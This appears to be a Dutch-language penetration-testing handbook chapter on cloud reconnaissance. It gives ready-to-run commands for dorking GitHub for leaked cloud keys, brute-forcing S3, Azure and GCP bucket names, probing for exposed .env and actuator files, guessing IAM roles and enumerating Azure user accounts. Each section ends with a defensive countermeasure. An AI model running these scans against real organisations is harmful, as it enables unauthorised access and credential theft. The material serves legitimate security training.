# Onbeveiligde diensten in de cloud
shodan search "org:\"Target Company\" port:27017"  # MongoDB
shodan search "org:\"Target Company\" port:9200"   # Elasticsearch
shodan search "org:\"Target Company\" port:6379"   # Redis

# Censys -- vergelijkbare zoekopdrachten
censys search "services.tls.certificates.leaf.names: target.com"
censys search "services.http.response.headers.server: nginx AND services.tls.certificates.leaf.names: target.com"

Shodan’s cloud filter is bijzonder handig. Het identificeert automatisch of een IP-adres in AWS, Azure, GCP, DigitalOcean, of een andere cloudprovider staat. In combinatie met organisatienaam of domeinnaam krijg je een overzicht van alle publiekelijk bereikbare cloud-assets.

De resultaten laten vaak patronen zien die het bedrijf liever verborgen had gehouden. Een MongoDB-instantie op poort 27017 in AWS, zonder authenticatie. Een Elasticsearch-cluster op poort 9200 in Azure, bereikbaar vanaf het internet. Een Redis-server op poort 6379 in GCP, met het standaard wachtwoord. Het klinkt als een karikatuur, maar het gebeurt dagelijks.

2.1.5 GitHub dorking voor cloud credentials

En dan komen we bij de moeder aller passieve reconnaissance-technieken: het doorzoeken van code repositories op hardcoded credentials. Het is 2026, en ontwikkelaars committen nog steeds AWS access keys naar publieke GitHub-repositories. Het is niet eens meer verrassend. Het is een natuurwet, zoals zwaartekracht of het feit dat wachtwoorden altijd op een Post-it naast het beeldscherm staan.

GitHub’s zoekfunctie is een wapen. Gebruik het.

# GitHub Dorks -- zoek in repositories van het target
# (via github.com/search of gh CLI)

# AWS access keys
org:target-company "AKIA"
org:target-company "aws_access_key_id"
org:target-company "aws_secret_access_key"

# Azure credentials
org:target-company "DefaultEndpointsProtocol=https" "AccountKey"
org:target-company "client_secret"
org:target-company "tenant_id" "client_id"
org:target-company "AZURE_CLIENT_SECRET"

# GCP credentials
org:target-company "private_key_id" "private_key"
org:target-company "type" "service_account"

# Generieke cloud secrets
org:target-company filename:.env
org:target-company filename:credentials
org:target-company filename:config extension:yml "password"
org:target-company filename:docker-compose "AWS_"
org:target-company filename:terraform.tfstate
org:target-company filename:.tfvars

# Database connection strings
org:target-company "mongodb+srv://"
org:target-company "postgresql://" "password"
org:target-company "mysql://" "password"

De AKIA prefix is bijzonder nuttig. Alle AWS access key IDs beginnen met AKIA (voor permanente keys) of ASIA (voor tijdelijke credentials via STS). Als je AKIA vindt in een publieke repository, heb je een AWS access key gevonden. Punt. Er is geen andere reden waarom die string in broncode zou staan.

IB Tip: De Command Library bevat GitHub dorking queries voor cloud credentials. Zoek naar cred_* commands voor credential hunting workflows. Combineer deze met de tools in de volgende secties voor geautomatiseerde scans.

Verdedigingsmaatregel: Implementeer pre-commit hooks die credentials detecteren (bijv. git-secrets, detect-secrets). Gebruik AWS Secrets Manager of Azure Key Vault in plaats van hardcoded credentials. Activeer GitHub’s Secret Scanning en reageer onmiddellijk op alerts. Roteer alle credentials die ooit in een repository hebben gestaan – verwijderen uit de code is niet genoeg, want de git history onthoudt alles.

2.2 Subdomain enumeration

2.2.1 Cloud-specifieke subdomeinen

Traditionele subdomain enumeration richt zich op het vinden van alle subdomeinen van een organisatie. Cloud-specifieke subdomain enumeration gaat een stap verder: het zoekt naar subdomeinen die verwijzen naar cloud-diensten, en identificeert daarmee de cloud-footprint van de organisatie.

De cloudproviders gebruiken voorspelbare naamgevingspatronen. Dat is goed voor de bruikbaarheid, maar het maakt het ook makkelijker om ze te vinden.

Cloud Provider Service Patroon
AWS S3 *.s3.amazonaws.com, *.s3-REGION.amazonaws.com
AWS CloudFront *.cloudfront.net
AWS ELB *.elb.amazonaws.com
AWS API Gateway *.execute-api.REGION.amazonaws.com
AWS Elastic Beanstalk *.elasticbeanstalk.com
AWS EC2 ec2-IP.REGION.compute.amazonaws.com
Azure App Service *.azurewebsites.net
Azure Blob Storage *.blob.core.windows.net
Azure CDN *.azureedge.net
Azure Traffic Manager *.trafficmanager.net
Azure API Management *.azure-api.net
Azure Front Door *.azurefd.net
GCP App Engine *.appspot.com
GCP Cloud Storage storage.googleapis.com/BUCKET
GCP Cloud Functions REGION-PROJECT.cloudfunctions.net
GCP Cloud Run *.run.app
GCP Firebase *.firebaseapp.com, *.web.app

2.2.2 Tools voor subdomain enumeration

subfinder is de snelste en meest betrouwbare tool voor passieve subdomain enumeration. Het combineert tientallen bronnen – CT logs, Shodan, Censys, VirusTotal, en meer – in een enkele scan.

# Basis subdomain enumeration
subfinder -d target.com -o subdomains.txt

# Met alle bronnen en verbose output
subfinder -d target.com -all -v -o subdomains.txt

# Alleen cloud-gerelateerde subdomeinen
subfinder -d target.com -all -silent \
    | grep -iE "aws|azure|gcp|cloud|s3|blob|bucket|cdn|api|staging|dev"

# Meerdere domeinen tegelijk
subfinder -dL domains.txt -all -o all-subdomains.txt

amass gaat dieper. Het voert niet alleen passieve enumeratie uit, maar kan ook actieve DNS bruteforce, zone transfers, en ASN-mapping doen.

# Passieve enumeratie (geen verkeer naar target)
amass enum -passive -d target.com -o amass-passive.txt

# Actieve enumeratie (met toestemming!)
amass enum -active -d target.com -o amass-active.txt

# Intel-modus: ontdek gerelateerde domeinen via ASN en WHOIS
amass intel -org "Target Company B.V." -o amass-intel.txt
amass intel -asn 12345 -o amass-asn.txt

# Combineer passief + brute force + alterations
amass enum -passive -brute -d target.com \
    -w /usr/share/wordlists/cloud-subdomains.txt \
    -o amass-full.txt

cloud_enum is specifiek ontworpen voor het vinden van cloud-assets. Het zoekt niet alleen naar subdomeinen, maar ook naar S3 buckets, Azure blobs, en GCP buckets op basis van naamgevingsconventies.

# Installatie
pip3 install cloud_enum

# Basis scan
cloud_enum -k target -k targetcompany -k target-company

# Met extra keywords en output
cloud_enum -k target -k targetcompany -k target-prod -k target-dev \
    -l cloud_enum_results.txt

# Alleen specifieke providers
cloud_enum -k target --disable-gcp  # Alleen AWS en Azure
cloud_enum -k target --disable-azure --disable-gcp  # Alleen AWS

cloud_enum probeert variaties op de opgegeven keywords: target-dev, target-staging, target-backup, target-prod, target-data, etc. Het is verbazingwekkend hoe vaak organisaties deze voor de hand liggende naamgevingsconventies gebruiken. acme-backup-prod, acme-database-staging, acme-logs-2024. Het is alsof je je kluiscode baseert op je geboortedatum en dan hoopt dat niemand aan je verjaardag denkt.

2.2.3 Dangling DNS en subdomain takeover

Een bijzonder gevaarlijk scenario in cloud-omgevingen is de dangling DNS-record: een CNAME-record dat verwijst naar een cloud-service die niet meer bestaat. De DNS-record is er nog, maar de service erachter is opgeheven. Dit opent de deur voor subdomain takeover – een aanvaller kan de orphaned cloud-resource claimen en daarmee het subdomein overnemen.

# Zoek naar potentiele subdomain takeovers
# Stap 1: Verzamel subdomeinen
subfinder -d target.com -all -silent > subs.txt

# Stap 2: Check welke subdomeinen een CNAME hebben
cat subs.txt | while read sub; do
    cname=$(dig +short CNAME "$sub" 2>/dev/null)
    if [ -n "$cname" ]; then
        echo "$sub -> $cname"
    fi
done | tee cname-records.txt

# Stap 3: Filter op cloud providers
grep -iE "amazonaws|azurewebsites|cloudfront|trafficmanager|herokuapp|azureedge|azurefd|elasticbeanstalk|s3" cname-records.txt

# Stap 4: Check of de cloud resource nog bestaat
# Een NXDOMAIN of specifieke foutpagina duidt op takeover-mogelijkheid
cat cloud-cnames.txt | while read line; do
    sub=$(echo "$line" | awk '{print $1}')
    result=$(curl -s -o /dev/null -w "%{http_code}" "https://$sub" 2>/dev/null)
    echo "$sub: HTTP $result"
done

Veelvoorkomende signalen van kwetsbare subdomeinen:

Cloud Service Signaal van Takeover
AWS S3 NoSuchBucket XML-response
Azure App Service *.azurewebsites.net -- 404 met Azure-branding
Azure Traffic Manager NXDOMAIN op *.trafficmanager.net
AWS CloudFront Bad Request met CloudFront-headers
AWS Elastic Beanstalk NXDOMAIN op *.elasticbeanstalk.com
GitHub Pages 404 -- There isn't a GitHub Pages site here
Heroku No such app
Azure CDN *.azureedge.net NXDOMAIN

Verdedigingsmaatregel: Implementeer een proces voor het opruimen van DNS-records wanneer cloud-resources worden opgeheven. Gebruik tools als subjack of nuclei met subdomain takeover templates om proactief te scannen. Overweeg CNAME-records te vermijden voor kritieke subdomeinen en gebruik in plaats daarvan A-records met IP-adressen die je beheert.

Let op: Subdomain takeover is niet alleen een theoretisch risico. Een aanvaller die een subdomein overneemt, kan phishing-pagina’s hosten onder het domein van de organisatie, cookies stelen die voor het hoofddomein zijn ingesteld, en SSL-certificaten aanvragen die er legitiem uitzien. Het is een van de meest onderschatte cloud-risico’s.

2.3 Storage bucket discovery

2.3.1 De digitale vuilnisbelt

Cloud storage buckets – S3 in AWS, Blob Storage in Azure, Cloud Storage in GCP – zijn de digitale equivalent van opslagruimtes. Organisaties gooien er alles in: backups, logbestanden, klantdata, configuratiebestanden, database dumps. En net als bij fysieke opslagruimtes vergeten ze regelmatig de deur op slot te doen.

Het fundamentele probleem is een mismatch tussen de standaardconfiguratie en de verwachting van de gebruiker. AWS S3 buckets zijn tegenwoordig standaard privaat – maar dat was niet altijd zo. En zelfs nu nog worden ze regelmatig verkeerd geconfigureerd, omdat het permissiemodel verwarrend is. Er zijn bucket-level policies, object-level ACLs, block public access settings, en IAM policies die allemaal met elkaar interageren op manieren die zelfs AWS-engineers niet in een zin kunnen uitleggen.

Het is alsof je een kluis hebt met vier verschillende sloten, drie codepanelen en een vingerafdrukscanner, maar als je een van de sloten openlaat, is de hele kluis open. Dat is S3 bucket security.

2.3.2 S3 Bucket Discovery

AWS S3 buckets hebben voorspelbare URL-patronen:

# Twee URL-stijlen
https://BUCKET.s3.amazonaws.com/
https://s3.amazonaws.com/BUCKET/

# Regio-specifiek
https://BUCKET.s3.REGION.amazonaws.com/
https://s3.REGION.amazonaws.com/BUCKET/

De truc is om de juiste bucketnaam te raden. Organisaties gebruiken voorspelbare patronen:

# Handmatig testen van veelvoorkomende naampatronen
for prefix in target target-com targetcompany target-company; do
    for suffix in "" -dev -staging -prod -backup -data -logs -assets \
                 -media -uploads -static -config -db -database -archive \
                 -internal -private -public -www -web -cdn -test -temp; do
        bucket="${prefix}${suffix}"
        status=$(curl -s -o /dev/null -w "%{http_code}" \
                 "https://${bucket}.s3.amazonaws.com/" 2>/dev/null)
        if [ "$status" != "404" ]; then
            echo "[${status}] ${bucket}"
        fi
    done
done

HTTP-statuscodes en wat ze betekenen:

Code Betekenis
200 Bucket bestaat en is publiekelijk listbaar – jackpot
403 Bucket bestaat maar is niet publiekelijk toegankelijk
404 Bucket bestaat niet
301 Bucket bestaat in een andere regio

Een 403 is geen doodlopende weg. Het bevestigt dat de bucket bestaat, wat op zichzelf al waardevolle informatie is. Bovendien kunnen individuele objecten in een niet-listbare bucket wel publiekelijk leesbaar zijn – het is een veelgemaakte configuratiefout.

2.3.3 Tools voor bucket discovery

S3Scanner is ontworpen voor het vinden en testen van S3 buckets:

# Installatie
pip3 install s3scanner

# Scan vanuit een woordenlijst
s3scanner scan --buckets-file bucket-names.txt

# Dump de inhoud van een publiekelijk toegankelijke bucket
s3scanner dump --bucket target-backup

# Controleer permissies
s3scanner scan --bucket target-company-prod

BlobHunter doet hetzelfde voor Azure Blob Storage:

# Installatie
pip3 install blobhunter

# Scan Azure Blob Storage
# Azure Blob URL patroon: https://ACCOUNT.blob.core.windows.net/CONTAINER
blobhunter -a targetcompany

Azure Blob Storage URLs volgen het patroon:

https://STORAGE_ACCOUNT.blob.core.windows.net/CONTAINER/BLOB

Net als bij S3 zijn de storage account-namen vaak voorspelbaar:

# Azure Blob Storage brute force
for account in target targetcompany targetdata targetbackup targetstorage; do
    for container in data backup logs files uploads assets config; do
        url="https://${account}.blob.core.windows.net/${container}?restype=container&comp=list"
        status=$(curl -s -o /dev/null -w "%{http_code}" "$url" 2>/dev/null)
        if [ "$status" != "404" ] && [ "$status" != "000" ]; then
            echo "[${status}] ${account}/${container}"
        fi
    done
done

GCP Cloud Storage heeft een vergelijkbaar patroon:

# GCP bucket URLs
# https://storage.googleapis.com/BUCKET/
# https://BUCKET.storage.googleapis.com/

# Brute force
for bucket in target target-prod target-backup target-data; do
    status=$(curl -s -o /dev/null -w "%{http_code}" \
             "https://storage.googleapis.com/${bucket}/" 2>/dev/null)
    if [ "$status" != "404" ]; then
        echo "[${status}] gs://${bucket}"
    fi
done

2.3.4 Naamgevingsconventies die je moet proberen

Organisaties zijn voorspelbaar. Dit zijn de meest voorkomende patronen voor storage buckets:

# Basis variaties
target
targetcompany
target-company
target.company
targetcom
target-com

# Omgevingen
target-dev
target-staging
target-prod
target-production
target-uat
target-test
target-qa

# Functie
target-backup
target-backups
target-data
target-database
target-db
target-logs
target-logging
target-media
target-uploads
target-assets
target-static
target-cdn
target-config
target-configuration
target-internal
target-private
target-archive
target-temp
target-tmp
target-public
target-web
target-www
target-images
target-documents
target-reports

# Met jaar/datum
target-backup-2024
target-backup-2025
target-data-2024
target-archive-2023

# Met regio
target-eu-west-1
target-us-east-1
target-eu
target-us

Het klinkt bijna te simpel. Dat is het ook. En toch werkt het. Herhaaldelijk. Bij grote organisaties. Met gevoelige data. Het is een van die momenten waarop je je afvraagt of de hele beveiligingsindustrie een groot sociaal experiment is.

Verdedigingsmaatregel: Gebruik onvoorspelbare namen voor storage buckets. Activeer “Block Public Access” op accountniveau in AWS. Gebruik Azure Private Endpoints. Configureer bucket policies die expliciete Deny bevatten voor publieke toegang. Monitor op public bucket-creatie via CloudTrail/Activity Log/Audit Log.

2.4 Cloud metadata fingerprinting

2.4.1 Hoe herken je welke cloud een target gebruikt?

Voordat je specifieke cloudaanvallen kunt uitvoeren, moet je weten welke cloudprovider het doelwit gebruikt. Soms is dat evident – een CNAME naar amazonaws.com laat weinig aan de verbeelding over. Maar vaak is de cloud-infrastructuur verborgen achter CDNs, load balancers en custom domeinnamen.

Er zijn meerdere technieken om de cloudprovider te identificeren:

2.4.2 HTTP headers

HTTP-responses bevatten verrassend veel informatie over de onderliggende infrastructuur:

# Haal HTTP headers op
curl -sI https://target.com

# Zoek naar cloud-specifieke headers
curl -sI https://target.com | grep -iE "x-amz|x-ms|x-goog|x-azure|server|x-cache|via"
Header Cloud Provider Voorbeeld
x-amz-request-id AWS S3, API Gateway
x-amz-cf-id AWS CloudFront CDN
x-amz-cf-pop AWS CloudFront Edge location
x-amzn-requestid AWS ALB, API Gateway
x-ms-request-id Azure Diverse services
x-ms-version Azure Blob Storage
x-azure-ref Azure Front Door CDN/WAF
x-goog-* GCP Cloud Storage, etc.
Server: AmazonS3 AWS S3
Server: Microsoft-IIS Azure App Service (IIS)
Server: Google Frontend GCP App Engine
Via: 1.1 *.cloudfront.net AWS CloudFront CDN
X-Cache: Hit from cloudfront AWS CloudFront CDN cache hit
X-Served-By: cache-* Fastly CDN CDN

2.4.3 IP-bereiken en ASN lookup

De cloudproviders publiceren hun IP-bereiken. Je kunt een IP-adres opzoeken om te bepalen bij welke provider het hoort:

# IP-adres van het target ophalen
target_ip=$(dig +short target.com | head -1)

# ASN lookup via whois
whois -h whois.cymru.com " -v $target_ip"

# Of via de Team Cymru bulk service
echo "$target_ip" | nc whois.cymru.com 43

# BGP/ASN lookup via ipinfo.io
curl -s "https://ipinfo.io/$target_ip" | jq '.org, .company.name'

De grote cloudproviders hebben herkenbare ASN-nummers:

Provider ASN Organisatie
AWS AS16509 Amazon.com, Inc.
AWS AS14618 Amazon.com, Inc.
Azure AS8075 Microsoft Corporation
Azure AS8068 Microsoft Corporation
GCP AS15169 Google LLC
GCP AS396982 Google LLC
DigitalOcean AS14061 DigitalOcean, LLC
Cloudflare AS13335 Cloudflare, Inc.
Oracle Cloud AS31898 Oracle Corporation

AWS publiceert zijn volledige IP-bereik in JSON-formaat:

# Download AWS IP-bereiken
curl -s https://ip-ranges.amazonaws.com/ip-ranges.json \
    | jq '.prefixes[] | select(.ip_prefix | startswith("'$(echo $target_ip | cut -d. -f1-2)'"))'

# Check of een IP in AWS zit
curl -s https://ip-ranges.amazonaws.com/ip-ranges.json \
    | jq --arg ip "$target_ip" \
    '.prefixes[] | select(.ip_prefix as $prefix |
     ($ip | split(".") | .[0:2] | join(".")) ==
     ($prefix | split("/")[0] | split(".") | .[0:2] | join(".")))'

Azure en GCP publiceren vergelijkbare bestanden:

# Azure IP-bereiken (download link verandert regelmatig)
# Zoek op: "Azure IP Ranges and Service Tags" in Microsoft Download Center

# GCP IP-bereiken
dig TXT _cloud-netblocks.googleusercontent.com @ns1.google.com

2.4.4 Overige fingerprinting-methoden

# Nmap service detection op cloud ports
nmap -sV -p 443 target.com

# SSL-certificaat details
echo | openssl s_client -connect target.com:443 2>/dev/null \
    | openssl x509 -noout -text \
    | grep -E "Issuer|Subject|DNS"

# Bekijk de certificate chain -- cloud load balancers
# hebben vaak herkenbare intermediate certificates
echo | openssl s_client -connect target.com:443 -showcerts 2>/dev/null \
    | grep "s:/"

Cloudproviders gebruiken specifieke certificate authorities en patronen in hun TLS-certificaten. AWS Certificate Manager-certificaten worden uitgegeven door Amazon Trust Services. Azure-certificaten komen vaak van DigiCert of Microsoft IT TLS CA. Google gebruikt zijn eigen Google Trust Services. Het certificaat zelf is een vingerafdruk.

Verdedigingsmaatregel: Gebruik een CDN of reverse proxy voor je publiekelijk bereikbare endpoints. Verwijder overbodige HTTP-headers (veel webservers en frameworks lekken standaard informatie). Configureer custom domain names in plaats van de standaard cloud-domeinnamen. Geen van deze maatregelen maakt je onvindbaar, maar ze verhogen de drempel.

2.5 Credential hunting

2.5.1 Het digitale sleutelrek

Credentials zijn de sleutels tot de cloud. Een AWS access key geeft je API-toegang. Een Azure service principal met client secret geeft je Azure-toegang. Een GCP service account key geeft je GCP-toegang. En al deze sleutels worden met een deprimerende regelmaat achtergelaten op plekken waar ze niet horen.

Het probleem is structureel. Ontwikkelaars moeten credentials gebruiken om met cloud-APIs te praten. Die credentials moeten ergens staan. En “ergens” is te vaak een .env-bestand dat per ongeluk is gecommit, een Docker Compose-bestand met hardcoded wachtwoorden, of een Terraform state file die in een publieke S3 bucket ligt.

Het is het digitale equivalent van je huissleutel onder de deurmat leggen. Iedereen weet dat het daar ligt. Iedereen weet dat het geen goed idee is. En toch doen miljoenen mensen het elke dag.

2.5.2 Geautomatiseerde credential scanning

TruffleHog doorzoekt git-repositories op high-entropy strings en bekende credential-patronen:

# Scan een enkele repository
trufflehog git https://github.com/target-company/repo.git

# Scan een hele GitHub-organisatie
trufflehog github --org target-company

# Scan ook git history (waar verwijderde credentials nog leven)
trufflehog git https://github.com/target-company/repo.git --only-verified

# Scan een lokale directory
trufflehog filesystem /pad/naar/code

# Scan met JSON output voor verdere verwerking
trufflehog github --org target-company --json | jq '.'

TruffleHog v3 verifieert gevonden credentials automatisch – het probeert daadwerkelijk in te loggen met gevonden AWS keys, GitHub tokens, etc. Dit is enorm waardevol, maar het betekent ook dat je actief credentials test. Zorg dat je daar toestemming voor hebt.

Gitleaks is een alternatief met een focus op snelheid en configureerbaarheid:

# Scan een repository
gitleaks detect --source https://github.com/target-company/repo.git

# Scan met uitgebreide regex-patronen
gitleaks detect --source /pad/naar/repo -v

# Genereer een rapport
gitleaks detect --source /pad/naar/repo --report-format json --report-path leaks.json

# Alleen de huidige staat scannen (niet de history)
gitleaks detect --source /pad/naar/repo --no-git

2.5.3 Herkenbare credential-patronen

Weten waar je naar zoekt is het halve werk:

Credential Type Patroon Voorbeeld
AWS Access Key ID AKIA[A-Z0-9]{16} AKIAIOSFODNN7EXAMPLE
AWS Secret Access Key 40 chars base64 wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
AWS Session Token ASIA[A-Z0-9]{16} + token Lange base64 string
Azure Client Secret Variabel (UUID-achtig) abc8Q~abcdefghij...
Azure Connection String DefaultEndpointsProtocol=https;AccountName=...;AccountKey=...
GCP Service Account Key JSON met "type": "service_account" JSON-bestand
GCP API Key AIza[A-Za-z0-9_-]{35} AIzaSyD-abcdefghijklmnopqrstuvwxyz12
GitHub Token ghp_[A-Za-z0-9]{36} ghp_abcdefghij1234567890abcdefghij12
Slack Token xoxb- of xoxp- xoxb-123456789012-...
Terraform State "type": "aws_iam_access_key" In .tfstate bestanden

2.5.4 Pastebin en publieke dumps

Naast code repositories lekken credentials naar paste sites, forums, en publieke databases:

# Zoek op Pastebin (handmatig of via Google dorks)
# site:pastebin.com "target.com" "password"
# site:pastebin.com "target.com" "aws_access"

# Dehashed / breach databases (legale toegang vereist)
# Zoek op bedrijfsdomeinen voor gelekte credentials

# VirusTotal -- soms bevatten geanalyseerde malware samples hardcoded creds
# https://www.virustotal.com -- zoek op domeinnaam

2.5.5 .env bestanden en configuratie-endpoints

Een verbazingwekkend aantal webapplicaties heeft .env-bestanden die publiekelijk toegankelijk zijn. Dit bestand bevat doorgaans alle omgevingsvariabelen van de applicatie – inclusief database-credentials, API-keys en cloud-secrets.

# Test of .env publiekelijk toegankelijk is
curl -s https://target.com/.env
curl -s https://target.com/.env.local
curl -s https://target.com/.env.production
curl -s https://target.com/.env.backup

# Laravel-specifiek
curl -s https://target.com/.env
# Bevat vaak: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, DB_PASSWORD

# Node.js configuratie
curl -s https://target.com/config.js
curl -s https://target.com/config.json

# Spring Boot actuator (vaak met cloud credentials)
curl -s https://target.com/actuator/env
curl -s https://target.com/actuator/configprops

De Spring Boot Actuator-endpoint /actuator/env is een bijzonder rijke bron. Het toont alle omgevingsvariabelen van de applicatie, inclusief AWS keys, database-wachtwoorden en interne service-URLs. Spring Boot maskeert gevoelige waarden standaard met sterretjes, maar oudere versies en misconfiguraties laten de volledige waarden zien.

Verdedigingsmaatregel: Gebruik secrets management (AWS Secrets Manager, Azure Key Vault, HashiCorp Vault). Blokkeer toegang tot .env bestanden in je webserver-configuratie. Schakel actuator endpoints uit of beveilig ze. Draai regelmatig geautomatiseerde scans met TruffleHog of Gitleaks op je eigen repositories. Roteer credentials onmiddellijk na een lek – verwijderen is niet genoeg.

2.6 Cloud API reconnaissance

2.6.1 Het onbeveiligde loket

Elke cloudprovider heeft API-endpoints die informatie weggeven zonder authenticatie. Niet per ongeluk – het is by design. De provider wil dat tools en services bepaalde informatie kunnen opvragen zonder dat je eerst inlogt. Het probleem is dat aanvallers dezelfde endpoints gebruiken.

2.6.2 AWS Account ID discovery

Een AWS account ID is een 12-cijferig getal dat uniek is voor elke AWS-account. Op zichzelf lijkt het onschuldig. Maar met een account ID kun je IAM-rollen raden, S3 bucket policies analyseren, en cross-account aanvallen voorbereiden.

# Methode 1: Via een publiekelijk toegankelijke S3 bucket
# Als je een bucket vindt, staat de account ID vaak in de bucket policy
aws s3api get-bucket-policy --bucket target-public-bucket --no-sign-request 2>/dev/null \
    | jq -r '.Policy' | jq '.Statement[].Principal.AWS'

# Methode 2: Via STS en een bekende IAM-rol
# Als je een AWS access key hebt (zelfs met minimale rechten):
aws sts get-caller-identity
# Output bevat: Account ID, ARN, UserId

# Methode 3: Via IAM role enumeration (met geldige credentials)
# Probeer AssumeRole met geraden rolnamen
for role in admin AdminRole ec2-role lambda-role; do
    aws sts assume-role \
        --role-arn "arn:aws:iam::ACCOUNT_ID:role/$role" \
        --role-session-name test 2>&1 \
        | grep -v "AccessDenied" && echo "Role exists: $role"
done

# Methode 4: Via error messages
# Veel AWS services lekken de account ID in foutmeldingen
# Bijv. een 403 op een S3 object kan de bucket-owner account ID bevatten

Een bijzonder slimme techniek is het gebruik van s3:GetBucketPolicy op publieke buckets. Als een bucket een policy heeft die verwijst naar een specifiek AWS-account, staat dat account ID letterlijk in de policy. Het is alsof de eigenaar van een kluis zijn naam en adres op de buitenkant heeft gegraveerd.

2.6.3 Azure Tenant Enumeration

Azure Active Directory (nu Entra ID) tenants zijn enumereerbaar via publieke endpoints. Je kunt bepalen of een organisatie Azure gebruikt, wat hun tenant ID is, en welke domeinen eraan gekoppeld zijn.

# Check of een domein Azure AD/Entra ID gebruikt
curl -s "https://login.microsoftonline.com/target.com/.well-known/openid-configuration" \
    | jq '.authorization_endpoint'
# Als het een geldig antwoord geeft, gebruikt het bedrijf Azure AD

# Haal de tenant ID op
curl -s "https://login.microsoftonline.com/target.com/.well-known/openid-configuration" \
    | jq -r '.token_endpoint' \
    | grep -oP '[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}'

# Alternatief: via de GetCredentialType API
# Bepaalt of een account bestaat en welk authenticatieprotocol wordt gebruikt
curl -s -X POST "https://login.microsoftonline.com/common/GetCredentialType" \
    -H "Content-Type: application/json" \
    -d '{"Username":"admin@target.com"}' \
    | jq '.IfExistsResult'
# 0 = account bestaat, 1 = account bestaat niet, 5 = bestaat niet,
# 6 = bestaat in een ander domein

# Enumereer gebruikersnamen (voorzichtig: kan rate-limited worden)
for user in admin info hr finance ceo cfo; do
    result=$(curl -s -X POST \
        "https://login.microsoftonline.com/common/GetCredentialType" \
        -H "Content-Type: application/json" \
        -d "{\"Username\":\"${user}@target.com\"}" \
        | jq -r '.IfExistsResult')
    echo "$user@target.com: $result"
done

Die GetCredentialType API is een van de meest misbruikte Azure-endpoints. Het was bedoeld om de login-ervaring te verbeteren – zodat de browser weet of het Microsoft-authenticatie of federatie moet gebruiken. Het neveneffect is dat je kunt enumereren welke accounts bestaan. Microsoft heeft rate limiting toegevoegd, maar met voldoende geduld kun je nog steeds een aanzienlijke lijst opbouwen.

2.6.4 GCP Project Discovery

GCP gebruikt project IDs als primaire organisatie-eenheid. Projects zijn minder makkelijk te enumereren dan AWS accounts of Azure tenants, maar er zijn methoden:

# GCP project IDs lekken vaak in:
# - Firebase configuraties (publiekelijk in JavaScript)
# - Cloud Storage bucket names (vaak: PROJECT_ID.appspot.com)
# - Error messages van GCP services
# - Google APIs die project IDs bevatten in URLs

# Check Firebase configuratie
curl -s "https://target.com/__/firebase/init.json" 2>/dev/null | jq '.'

# Firebase projecten zoeken
curl -s "https://target.firebaseio.com/.json"
# Als dit data retourneert, is de Firebase database publiekelijk leesbaar

# GCP API discovery via CORS misconfigs
# App Engine apps zijn bereikbaar via: PROJECT_ID.appspot.com
for project in target targetapp target-prod target-api; do
    status=$(curl -s -o /dev/null -w "%{http_code}" "https://${project}.appspot.com")
    if [ "$status" != "404" ] && [ "$status" != "000" ]; then
        echo "[${status}] ${project}.appspot.com"
    fi
done

Firebase-databases zijn een bijzonder veelvoorkomend doelwit. De Firebase Realtime Database is standaard beveiligd met regels, maar ontwikkelaars overschrijven die regels regelmatig met ".read": true om tijdens de ontwikkeling makkelijker te kunnen testen. En dan vergeten ze het terug te zetten. Het resultaat: complete databases met gebruikersgegevens, berichten, en applicatiedata die door iedereen te lezen zijn via een simpele HTTP-request.

Verdedigingsmaatregel: Beperk de informatie die publieke API-endpoints weggeven. Gebruik Smart Lockout in Azure AD om brute force te detecteren. Beveilig Firebase met adequate security rules. Monitor login-pogingen op ongebruikelijke patronen.

2.7 SSL/TLS en cloud

2.7.1 Certificaten als informatiebron

SSL/TLS-certificaten zijn meer dan een beveiligingsmechanisme – ze zijn een informatiebron. Elk certificaat bevat de domeinnamen waarvoor het is uitgegeven (Subject Alternative Names), de issuer, de geldigheidsperiode, en soms zelfs organisatie-informatie. In cloudcontexten onthullen certificaten vaak de onderliggende infrastructuur.

# Haal certificaatdetails op
echo | openssl s_client -connect target.com:443 -servername target.com 2>/dev/null \
    | openssl x509 -noout -text

# Alleen Subject Alternative Names (alle domeinen op het certificaat)
echo | openssl s_client -connect target.com:443 -servername target.com 2>/dev/null \
    | openssl x509 -noout -ext subjectAltName

# Bekijk de volledige certificate chain
echo | openssl s_client -connect target.com:443 -servername target.com -showcerts 2>/dev/null

# Haal de issuer op (onthult vaak cloud-specifieke CA)
echo | openssl s_client -connect target.com:443 -servername target.com 2>/dev/null \
    | openssl x509 -noout -issuer

2.7.2 Wildcard certificaten

Wildcard certificaten (*.target.com) zijn bijzonder informatief in cloudomgevingen. Een wildcard certificaat op een cloud load balancer beschermt vaak tientallen subdomeinen – en de SAN-lijst onthult ze allemaal.

Maar er is een subtiel risico: als een organisatie een wildcard certificaat gebruikt voor al hun cloud-services, dan deelt elke service dezelfde private key. Compromitteer een service, en je hebt de TLS-private key voor alles.

2.7.3 Cloud load balancer detectie

Cloud load balancers hebben herkenbare kenmerken in hun TLS-configuratie:

# Detecteer het type load balancer via TLS
# AWS ALB/NLB: Amazon-uitgegeven certificaten
# Azure Application Gateway: Microsoft-uitgegeven certificaten
# GCP HTTPS Load Balancer: Google-uitgegeven certificaten

# Gebruik testssl.sh voor uitgebreide TLS-analyse
testssl.sh --quiet target.com

# Of sslyze voor geautomatiseerde checks
sslyze target.com --regular
Kenmerk AWS Azure GCP
Typische CA Amazon Trust Services DigiCert / Microsoft Google Trust Services
Cipher suites AWS-specifieke set Azure-specifieke set Google-specifieke set
TLS versies TLS 1.2/1.3 TLS 1.2/1.3 TLS 1.2/1.3
ALPN h2, http/1.1 h2, http/1.1 h2, http/1.1
Herkenbaar header Server: awselb/2.0 x-azure-ref via: 1.1 google

Verdedigingsmaatregel: Gebruik managed certificates van de cloudprovider – ze roteren automatisch. Vermijd wildcard certificaten waar mogelijk; gebruik in plaats daarvan SAN-certificaten met alleen de benodigde domeinnamen. Configureer TLS-policies die alleen sterke cipher suites toestaan.

2.8 IB voor cloud recon

2.8.1 Relevante Command Library items

Het IB-dashboard bevat command files die specifiek zijn ontworpen voor cloud reconnaissance. Hier is een overzicht van de relevante commando’s:

# Via de IB Command Library (/dashboard/commands)
# Zoek op 'recon_' voor alle reconnaissance commands

# DNS Recon
# Command: recon_dns
# Bevat: dig, host, dnsrecon, dnsenum, zone transfer attempts

# OSINT
# Command: recon_osint
# Bevat: theHarvester, Shodan CLI, recon-ng modules

# SCCM Recon (vaak hybride cloud/on-prem)
# Command: recon_sccm
# Bevat: SCCM enumeration voor hybride omgevingen

